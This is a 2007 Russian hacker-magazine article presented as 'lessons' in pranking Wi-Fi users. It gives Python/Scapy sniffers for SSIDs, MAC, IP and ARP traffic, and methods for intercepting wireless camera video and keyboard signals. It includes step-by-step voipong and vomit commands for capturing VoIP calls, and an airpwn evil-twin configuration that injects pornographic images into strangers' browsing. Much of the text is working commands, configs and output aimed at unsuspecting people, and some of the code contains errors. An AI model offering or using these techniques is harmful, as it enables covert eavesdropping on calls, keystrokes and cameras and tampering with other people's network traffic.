Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #104, АВГУСТ 2007 г.

Беспрецедентное хамство в Wi-Fi сетях

Андрей «Skvoznoy» Комаров

Хакер, номер #104, стр. 030

(komarov@itdefence.ru)

5 новых уроков западлостроения

Для того чтобы положить ноутбук в рюкзак и запустить сканер беспроводных сетей, большого ума не надо. Можно долго ходить по окрестностям, до умопомрачения сканить эфир и, возможно, даже возомнить себя великим вардрайвером, но что с того? Тупое сканирование наобум едва ли даст желаемые результаты, а кайфа от этого — ноль. Поэтому недолго думая мы решили: если уж глумиться в беспроводных сетях, то полной. И вот что из этого получилось.

Раз уж развелась куча девайсов, использующих беспроводную связь, а люди безнадежно привыкли к Wi-Fi, почему бы немного не поприкалываться. В конце концов, пора спустить бедняг на землю и напомнить им, что лучше дедовских проводных соединений до сих пор ничего не придумали. Оказалось, что подходящих способов поглумиться над Wi-Fi пользователями не один и не два, а привычные инструменты для взлома можно написать самому. При наличии желания, естественно. Вот, пожалуй, с этого и начнем.

Урок №1. Ловкость рук и никакого мошенничества

Какой вообще смысл в западлостроении? Правильно, получить очередную дозу кайфа и адреналина. Если речь идет о high tech западлостроении, очень важно сделать все самому с нуля. Ну, скажем, какой прикол использовать уже готовые инструменты типа Netstumbler’а для поиска беспроводных устройств? Тут и делать-то ничего не надо: просто запустил программу и все. Другое дело - смастерить свой сканер, показать его друзьям и подумать, как его еще улучшить. Тем более что во всех паблик-утилитах (Netstumbler, DStumbler, Wellenreiter) содержатся так называемые «пасхальные яйца», по сигнатурам которых можно определить стороннюю активность и взять за яйца уже тебя. Поэтому сейчас мы сделаем собственный сканер, который будет осуществлять пассивное сканирование сети методом перехвата SSID-идентификаторов.

Весь проект займет несколько строчек кода на Python (в прошлом номере с его помощью мы написали свою навигационную систему), а в основу мы положим замечательную библиотеку Scapy (www.secdev.org/projects/scapy), предназначенную для манипуляции сетевыми пакетами. К сожалению, под Виндой это реализуется на несколько порядков сложнее, поэтому в качестве платформы мы выберем Linux. Собственно, ничего страшного в этом нет, объясняю почему. Во-первых, дистрибутив подходящих никсов в лице Kubuntu (www.kubuntu.org) будет на нашем диске; во-вторых, драйверы для беспроводных интерфейсов устанавливаются там автоматически; в-третьих, тебе даже не придется заморачиваться по поводу Python’а. Надо будет только скачать нужную версию библиотеки и установить ее в системе:

cd /scapy/ & python setup.py install.

И все! Разве ж это сложно? Далее приступаем к составлению самой программы. Наш сканер будет палить специальные фреймы, которые содержат уникальный идентификатор сети SSID (Service Set Identifier) и рассылаются точкой доступа. Их также называют Beacon-фреймами. По ним мы и будем определять найденные сети.

import sys

from scapy import *

print "Wi-Fi SSID passive sniffer"

interface = sys.argv[1] #задаем название интерфейса в качестве дополнительного консольного аргумента

def sniffBeacon(p):

if p.haslayer(Dot11Beacon):

print p.sprintf("%Dot11.addr2%[%Dot11Elt.info%|%Dot11Beacon.cap%]")

sniff(iface=interface,prn=sniffBeacon)

Вывод программы содержит информацию о перехваченных Beacon-фреймах:

skvoz@box: sniffssid.py eth1

00:12:17:3c:b6:ed['netsquare4'|short-slot+ESS]

00:30:bd:ca:1e:1e['netsquare7'|ESS+privacy]

Советую тебе также поэкспериментировать с выбором haslayer (параметра мониторинга), поменяв его значение Dot11Beacon на: Dot11AssoResp, Dot11ProbeReq, Dot11ATIM, Dot11Auth, Dot11ProbeResp, Dot11Addr2MACField, Dot11Beacon, Dot11ReassoReq, Dot11Addr3MACField, Dot11Deauth, Dot11ReassoResp, Dot11Addr4MACField, Dot11Disas, Dot11WEP, Dot11AddrMACField, Dot11Elt, Dot11AssoReq, Dot11PacketList. Так можно перехватить не только SSID точки доступа, но и всю остальную информацию о сети. К примеру, узнать информацию о физических идентификаторах пользователей и сетевых обращениях. Для этого мы задействуем протокол ARP:

import sys, os

from scapy import *

interface = raw_input("enter interface") #пользователь задает интерфейс сети

os.popen("iwconfig interface mode monitor") #перевод карты в режим монитора на заданном интерфейсе

#функция перехвата MAC

def sniffMAC(p):

if p.haslayer(Dot11):

mac = p.sprintf("[%Dot11.addr1%)|(%Dot11.addr2%)|(%Dot11.addr3%)]")

print mac

#функция перехвата IP-адресов и показа ARP сообщений

def sniffarpip(p):

if p.haslayer(IP):

ip = p.sprintf("IP - [%IP.src%)|(%IP.dst%)]")

print ip

elif p.haslayer(ARP):

arp = p.sprintf("ARP - [%ARP.hwsrc%)|(%ARP.psrc%)]-[%ARP.hwdst%)|(%ARP.pdst%)]")

print arp

#уровни, которые мы мониторим

sniff(iface=interface,prn=sniffMAC, prn=sniffarpip)

Вывод:

skvoz@puffy: python sniff.py eth1

[ff:ff:ff:ff:ff:ff)|(00:30:bd:ca:1e:1e)|(00:30:bd:ca:1e:1e)]

IP - [192.168.7.41)|(192.168.7.3)]

ARP - [00:0f:a3:1f:b4:ff)|(192.168.7.3)]-[00:00:00:00:00:00)|(192.168.7.41)]

Урок №2. С глазу на глаз

Ну вот — сканер готов, можно двигаться дальше. А дальше, кстати говоря, самое интересное. Я уже сказал, что беспроводную связь сейчас используют самые разные девайсы, в том числе беспроводные видеокамеры, радиотелефоны, домашнее оборудование, работающее по протоколу x10, и даже некоторые автомобильные сигнализации. Не знаю, как у тебя, а у меня прямо руки чешутся - так хочется подключиться к системе видеокамер какой-нибудь организации и посмотреть, кто, чем и где занимается. Думаешь, это невозможно? Ошибаешься. Процесс нахождения и эксплуатирования в своих целях подобных девайсов называется warviewing (иначе warspying) и впервые был упомянут в культовом журнале «2600». Большинство камер не имеет шифрования, поэтому перехватить передаваемую ими картинку, вообще говоря, ничего не стоит. И даже если попадется камера с пресловутым WEP-шифрованием, ничего не изменится. Поскольку «глазик» постоянно нагнетает трафик за счет своего вещания, можно очень быстро перехватить необходимое для взлома количество инициализационных векторов (IV) и расшифровать ключ. Камеры в большинстве своем работают по четырем каналам передачи сигнала:

channel A = 2,411 ГГц

channel B = 2,434 ГГц

channel C = 2,453 ГГц

channel D = 2,473 ГГц

Обычно для поиска таких аппаратов используют направленную антенну для усиления сигнала и видеоресивер, а в случае необходимости еще и отдельный экран или монитор ноутбука для просмотра изображения. Самые популярные модели таких ресиверов — Icom IC-R3 и Action ACN-53292. У них имеется встроенный LCD-экран, поэтому использовать дополнительное оборудование. Все, что от тебя требуется, — это настроить девайс на нужную частоту и оказаться в пределах радиовещания камеры. Впрочем, в большинстве случаев можно обойтись даже без дополнительного оборудования. Не так давно на страницах нашего журнала освещалась прога hauditor (www.itdefence.ru), которая занимается поиском web-панелей администратора различного сетевого оборудования, в том числе точек доступа и даже камер, внутри сети. Заюзав ее, ты сможешь посмотреть изображение в окне своего браузера. Тут уже невольно задумываешься о том, куда катится этот мир.

Урок №3. Печатайте помедленнее!

Многие пользователи сейчас предпочитают шиковать и использовать радиоклавиатуры. И зря. В Сети давно распространяются списки с частотами, на которых работают эти девайсы, поэтому любые данные теоретически и практически можно перехватить. Вот лишь малая часть списка, касающаяся наиболее популярного оборудования:

27,045, 27,095, 27,145 МГц - клавиатуры и мыши от фирм Logitech, Microsoft и HP

49 МГц - клавиатуры бренда Gryation

900 МГц - беспроводные телефоны (станции DECT, VoIP)

2,4 ГГц - 802.11b (Wi-Fi)

2,4 ГГц - Bluetooth

5 ГГц - 802.11a (Wi-Fi)

Нам понадобится чувствительный радиоприемник и компьютер со звуковой картой. Я приобрел не китайскую фигню, а профессиональный девайс Icom R-75, работающий на частотах от 0,03 до 60 МГц. Устройство комплектуется самыми различными кабелями, поэтому подключить его к компьютеру, и в частности к звуковушке, не соствит труда. Но перехватить данные мало. Операция передачи сигнала между клавиатурой/мышкой и приемником происходит по пейджинговому стандарту данных POCSA. Поэтому требуется обзавестись еще и программным POCSAG-декодером, который, используя звуковую карту, сможет получить вполне читаемый текст из непонятного перехваченного барахла:

"A" 1010 - 1011 - 1100 - 0100 - 1001 - 0011 - 1010

"Page Down" - 1010 - 0101 - 1100 - 0101 - 1011 - 1001 – 1010

Для этого можно использовать: SemaSoft 1.15, SemaSoft16 bit, POC32, Simple Circuit, PD203, Bravo pager, PE200, POCSAG Decoder v2.0. Отмечу, что такие фокусы очень часто применяются в промышленном шпионаже, поэтому на стеклах важных ведомственных учреждений и банков зачастую можно увидеть алюминиевые обкладки, препятствующие распространению сигнала и ПЭМИН (побочного радиомагнитного излучения).

Урок №4. Кто на линии?

Камеры, мышки и клавиатуры — кто следующий? На очереди радиотелефоны. Все популярнее становится стандарт Vo-Fi (Voice Over Wi-Fi), являющийся основой при создании всевозможных голосовых удобств для сотрудников различных компаний. Беда в том, что он подвержен сразу нескольким угрозам, среди которых перехват звонков. Для реализации этой штуки нам, помимо тривиального набора вардрайвера (на тот случай, если задействовано шифрование или фильтрация по MAC-адресам), понадобятся утилиты VoiPong (www.enderunix.org/voipong) и vomit (vomit.xtdnet.nl).

Предположим, ты проник в место, где расположен заветный VoIP-шлюз (это обычный сервер с соответствующим программным обеспечением или же аппаратная реализация с Linux’ом на борту), и поместил сюрприз на любую взломанную машину, которая находится в том же сетевом окружении. После сборки VoiPong твои действия будут таковы:

1) сначала правь /usr/local/etc/voipong.conf, где нужно вписать несколько понятных параметров подключения.

2) затем запускай сам сервер командой voipong -d4.

Подключение:

skvoz@puffy: telnet 143.245.12.12 30000

Trying 143.245.12.12...

Connected to 143.245.12.12.

Escape character is '^]'.

EnderUNIX VOIPONG Voice Over IP Sniffer Welcome to management console

System: efe.dev.enderunix.org [FreeBSD 5.3-RELEASE FreeBSD 5.3-RELEASE #0:

mb@efe.dev.enderunix.org:/usr/src/sys/i386/compile/EFE i386]

После этого не забудь авторизироваться:

voipong> pass word

login successfull

voipong> help

Commands:

help : this one

quit : quit management console

logrotate : rotate server's logs

shutdown : shutdown server

rusage : CPU usage statistics for the server

info : General server information

uptime : Server uptime

calllist : Show currently monitored calls

killsession [id] : end monitoring session with [id]

voipong>

Через несколько минут/секунд/часов (как повезет) программа выдаст тебе заветное сообщение:

VoIP call detected. 10.0.0.49:49606 <--> 10.0.0.90:49604.

Encoding: 0-PCMU-8KHz

maximum waiting time [10 sn] elapsed for this call, call might have been ended.

.WAV file [output/20041119/session-enc0-PCMU-8KHz-10.0.0.49,49606-10.0.0.90,49604.wav] has been created successfully.

Все, звонок перехвачен! Но прослушать его нельзя. Проблема в том, что файлы с аудиоданными находятся в формате, разработанном CISCO: G.711. И чтобы привести их в человечески вид, придется прибегнуть к специальной тулзе vomit. Впрочем, ничего сложного в этом нет:

tcpdump w perexvat.file

vomit r perexvat.file > perexvat.wav

Урок №5. Фильтруй базар

В завершение хочу поведать тебе прикольную историю, которая произошла на двенадцатой хакерской конференции Defcon 12. Для удобства проведения этого мероприятия организаторы, само собой, подняли Wi-Fi сеть, обеспечив участникам возможность использовать интранет, а также просто тусить в онлайне. К всеобщему удивлению, после подключения народ стал замечать различные приколы на экранах своих ноутбуков: вместо привычного Google, открывалась жесткая порнуха, а привычная графика на известных ресурсах была заменена элементами хакерского жаргона. Недоумение рассеялось после выступления умельца по имени Дейв из www.evilscheme.org - автора утилиты airpwn, которая, собственно, и натворила столько дел.

В основе этого фокуса лежит эмуляция ложной точки доступа (Evil Twin/Rogue AP), которая может осуществляться разными способами. Рекомендуется использовать две PCMCIA- или CF-карты: одну для мониторинга сети на предмет запросов пользователей, а вторую для организации fake-AP. Так как моя карточка поддерживает программный переход в режим мониторинга (monitor mode), то последовательность моих действий примерно такова:

1) на ноуте я поднимаю точку со схожим идентификатором SSID:

iwpriv wlan0 hostapd

iwconfig wlan0 mode master #номер канала# essid #Xakep#

2) другую же карту перевожу в режим монитора; ее предназначение в том, чтобы в общем потоке трафика обнаружить запросы, правила на которые мы составили в конфигурационных файлах airpwn.

iwpriv eth0 monitor

ifconfig wlan0ap up

3) в конфиге airpwn прописываем:

begin airpwned_img

match ^GET [^ ]+\.(?i:jpg|jpeg|gif|png)

option reset

response content/airpwned_png

4) в папке content создаем файл со следующим содержимым:

HTTP/1.1 200 OK

Connection: close

Content-type: image/png

Content-length: 1037

#сюда вставляем исходник любой картинки, который можно получить, просто открыв любое изображение в текстовом редакторе

5) обрабатываем весь проходящий через нас трафик с помощью собственных правил для нужных протоколов (HTTP, FTP и т.д.), заданных в конфигах airpwn

airpwn –i eth0 –o wlan0 –c home/skvoz/conf/airpwned_png

Конструкция начинает работать, и глаза юзеров постепенно изменяются в диаметре после взгляда на похабные логотипы на известных ресурсах. Неужели дефейс? Нет, все это airpwn. Другой пример, в котором пользователь коннектится на свой домашний FTP и, вместо приветствия, видит черт-те что, мы выложили на диск. Обязательно посмотри, любопытное зрелище.

Занимательный кодинг

Продолжая расхваливать замечательный язык Python, хочу поделиться реализацией простейшего сканера bluetooth-устройств, который с помощью модуля pybluez (org.csail.mit.edu/pybluez) можно уместить всего в 12 строчках кода.

from bluetooth import *

target_name = "Phone"

target_address = "None"

devices = discover_devices()

for address in devices:

if target_name == lookup_name(address):

target_adress = address

break

if target_address is not None:

print "найдено bluetooth-устройство", target address

else:

print "не найдено"

Почему никсы?

Если ты заметил, большая часть описанного в статье работает только на unixware/xbsd-платформах. К сожалению, (точнее, к счастью), основной фактор, отпугивающий вардрайверов, - закрытые исходные коды платформы Windows. Да, конечно, в произведении от Гейтса есть средства для разработки, связанной с Wi-Fi, и подтверждением этому является Wi-Fi API (msdn2.microsoft.com/en-us/library/ms706556.aspx), но оно не позволяет воплощать вардрайверские фантазии в полном объеме. Советую тебе обзавестись одним из знаменитых наборов для Wi-Fi хакеров - Warlinux (sourceforge.net/projects/warlinux) или аналогичным LiveCD-софтом для проведения тестов на проникновение (Backtrack 2, Pentoo, Auditor). Как правило, на них уже предустановлены все необходимые модификации и драйверы.

INFO

Проникся темой и уже готов бежать на улицы своего города в поисках беспроводных сетей? Рад, если это так, только знай всему меру. Буду признателен, если ты поделишься своими результатами на www.wardriver.ru. Это поможет общему делу и создаст детализированный и независимый отчет о современном радиопокрытии.

WWW

Познакомиться с искусством wartyping'a ты сможешь на этом ресурсе: www.wartyping.com. Там же приведены примеры частот для наиболее популярного оборудования.

VIDEO

На диске выложен наглядный пример поиска контроль-панели беспроводной Wi-Fi камеры для контроля периметра с помощью утилиты Hauditor, написанной кодером KSURi.

DVD

Подходящий Linux-дистрибутив, скрипты, весь упомянутый в статье софт — все это, само собой, ты найдешь на нашем DVD.

Содержание